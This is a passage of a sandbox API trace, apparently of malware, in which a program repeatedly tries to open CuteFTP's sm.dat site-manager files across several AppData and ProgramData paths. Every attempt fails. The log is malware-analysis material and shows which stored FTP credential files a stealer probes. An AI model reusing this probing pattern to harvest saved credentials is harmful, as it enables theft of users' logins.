lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro" [0056.078] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro") returned 63 [0056.078] lstrlenA (lpString="\\sm.dat") returned 7 [0056.078] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x2cc8d0 [0056.078] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro" [0056.078] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro", lpString2="\\sm.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro\\sm.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro\\sm.dat" [0056.078] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x48 [0056.078] LocalAlloc (uFlags=0x40, uBytes=0xc8) returned 0x2cc9a0 [0056.078] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro\\sm.dat", lpDst=0x2cc9a0, nSize=0x48 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro\\sm.dat") returned 0x47 [0056.078] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro\\sm.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\globalscape\\cuteftp pro\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.078] LocalFree (hMem=0x2cc9a0) returned 0x0 [0056.078] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.078] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro") returned 63 [0056.078] lstrlenA (lpString="\\*.*") returned 4 [0056.078] LocalAlloc (uFlags=0x40, uBytes=0xc4) returned 0x2cc8d0 [0056.078] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro" [0056.078] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro\\*.*" [0056.078] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro\\*.*", lpFindFileData=0x21fa88 | out: lpFindFileData=0x21fa88) returned 0xffffffff [0056.078] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.078] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.078] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0056.078] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP Lite") returned 25 [0056.078] LocalAlloc (uFlags=0x40, uBytes=0xc1) returned 0x2cbcf0 [0056.078] lstrcpyA (in: lpString1=0x2cbcf0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0056.078] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite" [0056.078] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite") returned 64 [0056.078] lstrlenA (lpString="\\sm.dat") returned 7 [0056.078] LocalAlloc (uFlags=0x40, uBytes=0xc8) returned 0x2cc8d0 [0056.078] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite" [0056.078] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite", lpString2="\\sm.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite\\sm.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite\\sm.dat" [0056.078] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x49 [0056.078] LocalAlloc (uFlags=0x40, uBytes=0xc9) returned 0x2cc9b8 [0056.079] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite\\sm.dat", lpDst=0x2cc9b8, nSize=0x49 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite\\sm.dat") returned 0x48 [0056.079] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite\\sm.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\globalscape\\cuteftp lite\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.079] LocalFree (hMem=0x2cc9b8) returned 0x0 [0056.079] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.079] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite") returned 64 [0056.079] lstrlenA (lpString="\\*.*") returned 4 [0056.079] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x2cc8d0 [0056.079] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite" [0056.079] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite\\*.*" [0056.079] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite\\*.*", lpFindFileData=0x21fa88 | out: lpFindFileData=0x21fa88) returned 0xffffffff [0056.079] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.079] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.079] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0056.079] lstrlenA (lpString="\\CuteFTP") returned 8 [0056.079] LocalAlloc (uFlags=0x40, uBytes=0xb0) returned 0x2cc8d0 [0056.079] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0056.079] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\CuteFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP" [0056.079] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP") returned 47 [0056.079] lstrlenA (lpString="\\sm.dat") returned 7 [0056.079] LocalAlloc (uFlags=0x40, uBytes=0xb7) returned 0x2cbcf0 [0056.079] lstrcpyA (in: lpString1=0x2cbcf0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP" [0056.079] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP", lpString2="\\sm.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP\\sm.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP\\sm.dat" [0056.079] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x38 [0056.079] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x2ce9a0 [0056.079] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP\\sm.dat", lpDst=0x2ce9a0, nSize=0x38 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP\\sm.dat") returned 0x37 [0056.079] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP\\sm.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\cuteftp\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.079] LocalFree (hMem=0x2ce9a0) returned 0x0 [0056.079] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.079] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP") returned 47 [0056.079] lstrlenA (lpString="\\*.*") returned 4 [0056.079] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x2cbcf0 [0056.079] lstrcpyA (in: lpString1=0x2cbcf0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP" [0056.079] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP\\*.*" [0056.079] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP\\*.*", lpFindFileData=0x21fa88 | out: lpFindFileData=0x21fa88) returned 0xffffffff [0056.079] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.079] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.079] LocalFree (hMem=0x2cc740) returned 0x0 [0056.079] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x2cc740 [0056.079] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\ProgramData") returned 0x0 [0056.079] lstrlenA (lpString="C:\\ProgramData") returned 14 [0056.079] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP") returned 20 [0056.079] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x2cc8d0 [0056.079] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0056.080] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP" [0056.080] lstrlenA (lpString="C:\\ProgramData\\GlobalSCAPE\\CuteFTP") returned 34 [0056.080] lstrlenA (lpString="\\sm.dat") returned 7 [0056.080] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x2cbcf0 [0056.080] lstrcpyA (in: lpString1=0x2cbcf0, lpString2="C:\\ProgramData\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP" [0056.080] lstrcatA (in: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP", lpString2="\\sm.dat" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\sm.dat") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\sm.dat" [0056.080] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x2b [0056.080] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x2ce9a0 [0056.080] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\sm.dat", lpDst=0x2ce9a0, nSize=0x2b | out: lpDst="C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\sm.dat") returned 0x2a [0056.080] CreateFileA (lpFileName="C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\sm.dat" (normalized: "c:\\programdata\\globalscape\\cuteftp\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.080] LocalFree (hMem=0x2ce9a0) returned 0x0 [0056.080] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.080] lstrlenA (lpString="C:\\ProgramData\\GlobalSCAPE\\CuteFTP") returned 34 [0056.080] lstrlenA (lpString="\\*.*") returned 4 [0056.080] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x2cbcf0 [0056.080] lstrcpyA (in: lpString1=0x2cbcf0, lpString2="C:\\ProgramData\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP" [0056.080] lstrcatA (in: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\*.*") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\*.*" [0056.080] FindFirstFileA (in: lpFileName="C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\*.*", lpFindFileData=0x21fa88 | out: lpFindFileData=0x21fa88) returned 0xffffffff [0056.080] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.080] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.080] lstrlenA (lpString="C:\\ProgramData") returned 14 [0056.080] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP Pro") returned 24 [0056.080] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x2cc8d0 [0056.080] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0056.080] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro" [0056.080] lstrlenA (lpString="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro") returned 38 [0056.080] lstrlenA (lpString="\\sm.dat") returned 7 [0056.080] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x2cbcf0 [0056.080] lstrcpyA (in: lpString1=0x2cbcf0, lpString2="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro" [0056.080] lstrcatA (in: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro", lpString2="\\sm.dat" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro\\sm.dat") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro\\sm.dat" [0056.080] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x2f [0056.080] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x2ce9a0 [0056.080] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro\\sm.dat", lpDst=0x2ce9a0, nSize=0x2f | out: lpDst="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro\\sm.dat") returned 0x2e [0056.080] CreateFileA (lpFileName="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro\\sm.dat" (normalized: "c:\\programdata\\globalscape\\cuteftp pro\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.080] LocalFree (hMem=0x2ce9a0) returned 0x0 [0056.080] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.080] lstrlenA (lpString="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro") returned 38 [0056.080] lstrlenA (lpString="\\*.*") returned 4 [0056.080] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x2cbcf0 [0056.080] lstrcpyA (in: lpString1=0x2cbcf0, lpString2="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro" [0056.080] lstrcatA (in: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro\\*.*") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro\\*.*" [0056.080] FindFirstFileA (in: lpFileName="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro\\*.*", lpFindFileData=0x21fa88 | out: lpFindFileData=0x21fa88) returned 0xffffffff [0056.080] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.080] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.081] lstrlenA (lpString="C:\\ProgramData") returned 14 [0056.081] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP Lite") returned 25 [0056.081] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x2cc8d0 [0056.081] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0056.081] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite" [0056.081] lstrlenA (lpString="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite") returned 39 [0056.081] lstrlenA (lpString="\\sm.dat") returned 7 [0056.081] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x2cbcf0 [0056.081] lstrcpyA (in: lpString1=0x2cbcf0, lpString2="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite" [0056.081] lstrcatA (in: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite", lpString2="\\sm.dat" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite\\sm.dat") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite\\sm.dat" [0056.081] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x30 [0056.081] LocalAlloc (uFlags=0x40, uBytes=0xb0) returned 0x2ce9a0 [0056.081] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite\\sm.dat", lpDst=0x2ce9a0, nSize=0x30 | out: lpDst="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite\\sm.dat") returned 0x2f [0056.081] CreateFileA (lpFileName="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite\\sm.dat" (normalized: "c:\\programdata\\globalscape\\cuteftp lite\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.081] LocalFree (hMem=0x2ce9a0) returned 0x0 [0056.081] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.081] lstrlenA (lpString="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite") returned 39 [0056.081] lstrlenA (lpString="\\*.*") returned 4 [0056.081] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2cbcf0 [0056.081] lstrcpyA (in: lpString1=0x2cbcf0, lpString2="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite" [0056.081] lstrcatA (in: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite\\*.*") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite\\*.*" [0056.081] FindFirstFileA (in: lpFileName="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite\\*.*", lpFindFileData=0x21fa88 | out: lpFindFileData=0x21fa88) returned 0xffffffff [0056.081] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.081] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.081] lstrlenA (lpString="C:\\ProgramData") returned 14 [0056.081] lstrlenA (lpString="\\CuteFTP") returned 8 [0056.081] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x2cbac0 [0056.081] lstrcpyA (in: lpString1=0x2cbac0, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0056.081] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\CuteFTP" | out: lpString1="C:\\ProgramData\\CuteFTP") returned="C:\\ProgramData\\CuteFTP" [0056.081] lstrlenA (lpString="C:\\ProgramData\\CuteFTP") returned 22 [0056.081] lstrlenA (lpString="\\sm.dat") returned 7 [0056.081] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x2cc8d0 [0056.081] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\ProgramData\\CuteFTP" | out: lpString1="C:\\ProgramData\\CuteFTP") returned="C:\\ProgramData\\CuteFTP" [0056.081] lstrcatA (in: lpString1="C:\\ProgramData\\CuteFTP", lpString2="\\sm.dat" | out: lpString1="C:\\ProgramData\\CuteFTP\\sm.dat") returned="C:\\ProgramData\\CuteFTP\\sm.dat" [0056.081] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\CuteFTP\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x1f [0056.081] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x2cbcf0 [0056.081] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\CuteFTP\\sm.dat", lpDst=0x2cbcf0, nSize=0x1f | out: lpDst="C:\\ProgramData\\CuteFTP\\sm.dat") returned 0x1e [0056.081] CreateFileA (lpFileName="C:\\ProgramData\\CuteFTP\\sm.dat" (normalized: "c:\\programdata\\cuteftp\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.081] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.081] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.081] lstrlenA (lpString="C:\\ProgramData\\CuteFTP") returned 22 [0056.081] lstrlenA (lpString="\\*.*") returned 4 [0056.081] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x2cc8d0 [0056.081] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\ProgramData\\CuteFTP" | out: lpString1="C:\\ProgramData\\CuteFTP") returned="C:\\ProgramData\\CuteFTP" [0056.081] lstrcatA (in: lpString1="C:\\ProgramData\\CuteFTP", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\CuteFTP\\*.*") returned="C:\\ProgramData\\CuteFTP\\*.*" [0056.081] FindFirstFileA (in: lpFileName="C:\\ProgramData\\CuteFTP\\*.*", lpFindFileData=0x21fa88 | out: lpFindFileData=0x21fa88) returned 0xffffffff [0056.082] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.082] LocalFree (hMem=0x2cbac0) returned 0x0 [0056.082] LocalFree (hMem=0x2cc740) returned 0x0 [0056.082] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x2cc740 [0056.082] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 0x0 [0056.082] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0056.082] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP") returned 20 [0056.082] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2cc8d0 [0056.082] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0056.082] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP" [0056.082] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP") returned 57 [0056.082] lstrlenA (lpString="\\sm.dat") returned 7 [0056.082] LocalAlloc (uFlags=0x40, uBytes=0xc1) returned 0x2cbcf0 [0056.082] lstrcpyA (in: lpString1=0x2cbcf0, 